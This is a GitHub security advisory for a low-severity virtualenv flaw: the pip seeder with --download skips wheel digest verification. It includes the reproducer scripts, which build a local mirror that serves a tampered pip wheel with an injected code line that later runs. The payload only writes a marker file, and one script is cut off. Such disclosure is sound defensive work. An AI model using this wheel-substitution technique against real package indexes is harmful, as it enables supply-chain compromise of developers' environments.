GitHub Advisoryadvisory · PyPI
GHSA-cx28-75q4-x26q virtualenv: Pip seeding with download omits wheel digest verification
LOW
Official page ↗
- Aliases
- CVE-2026-113717
- Ecosystem
- PyPI
- Packages
- virtualenv
- Severity
- Low
- CVSS vector
- CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
- Weaknesses
- CWE-494
- Reviewed
- 2026-10-23
Affected packages
• PyPI virtualenv: < 21.14.9 → fixed in 21.14.9
Description
Summary
The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.
Index candidates on that path do not pass through virtualenv's wheel digest verification.
Anthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.
Affected area
Wheel selection by the pip seeder when downloads are enabled.
Attacker-controlled input
The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.
Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.
Affected code
The relevant 21.14.8 source is in
pip seeder.
Mechanism
With `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so
virtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the
configured index. An index wheel with the same package and version as the bundled wheel can be selected without
virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the
same option.
Reproduction and evidence
The scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same
filename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the
second run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;
`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting
`BUG`.
Both `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left
`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained
active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is
older, while the comparison with the default seeder arose when digest verification was added in 21.7.12.
PR #3430 acquires and verifies selected wheels before invoking pip with
index lookup disabled.
Attack sequence
```mermaid
sequenceDiagram
participant I as Index in pip.conf
participant V as virtualenv PipInvoke
participant P as pip install
participant E as Seeded environment
I->>V: serve modified pip wheel
V->>V: get_wheel(download=False)
V->>P: install with --download permitting index lookup
P->>I: select same-version index wheel
I->>E: modified pip installed without virtualenv digest check
E->>E: later pip invocation runs added code
Note over V,E: Default app-data seeder rejects the same digest
```
Reproducer files
The following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
`repro`
```text
!/usr/bin/env python3
import glob
import hashlib
import json
import os
import shutil
import subprocess
import sys
import zipfile
from virtualenv.seed.wheels.embed import get_embed_wheel
companions = "/tmp/repro.d"
work = "/tmp/repro-pip-seeder-download"
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)
set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
os.makedirs(f"{work}/pypi.org/pypi/pip")
with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
attacker: the mirror serves other bytes under the bundled wheel's own file name
marker = f"{work}/MIRROR_CODE_RAN"
subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
print(f"{bundled.name}: the mirror serves sha256 {mirror_sha256}")
user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
with open(f"{work}/pip.conf", "w") as pip_conf:
pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n") # file:// stands in for the mirror's http URL
os.makedirs(f"{work}/home-default")
os.makedirs(f"{work}/home-pip") # one HOME per run, so neither sees the other's app-data or pip cache
virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
control: the default seeder with --download fetches the mirror's wheel and refuses it
default_seeder = subprocess.run(
[*virtualenv, "--download", f"{work}/env-default"],
env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
capture_output=True,
text=True,
)
refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
print(f"\nCONTROL virtualenv --download env-default: exit {default_seeder.returncode}")
print("\n".join(refusal))
trigger: the same command plus --seeder pip
pip_seeder = subprocess.run(
[*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
capture_output=True,
text=True,
)
print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
print(pip_seeder.stdout)
if pip_seeder.returncode == 0:
env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
check: compare env-pip's pip/__init__.py with the one in each wheel
with zipfile.ZipFile(bundled.path) as wheel:
bundled_init = wheel.read("pip/__init__.py")
with zipfile.ZipFile(mirror_wheel) as wheel:
mirror_init = wheel.read("pip/__init__.py")
installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
installed_init = open(installed[0], "rb").read() if installed else b""
refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
print(f"default seeder refused the mirror's wheel for its digest: {refused}")
print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
```
`repro.d/make_mirror.py`
```text
!/usr/bin/env python3
usage: make_mirror.py
import os
import sys
import zipfile
genuine_wheel, mirror, marker = sys.argv[1:]
wheel_name = os.path.basename(genuine_wheel)
payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
os.makedirs(f"{mirror}/pip")
with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
for entry in genuine.infolist():
data = ge…
Related
Alias · CVE (1)
- CVE-2026-113717 virtualenv is a tool for creating isolated virtual python environments. vulnerability
Weakness · CWE (1)
- CWE-494 Download of Code Without Integrity Check weakness
References
- https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q web
- https://nvd.nist.gov/vuln/detail/CVE-2026-113717 advisory
- https://github.com/pypa/virtualenv/pull/3430 web
- https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96 web
- https://github.com/pypa/virtualenv package
- https://github.com/pypa/virtualenv/releases/tag/21.14.9 web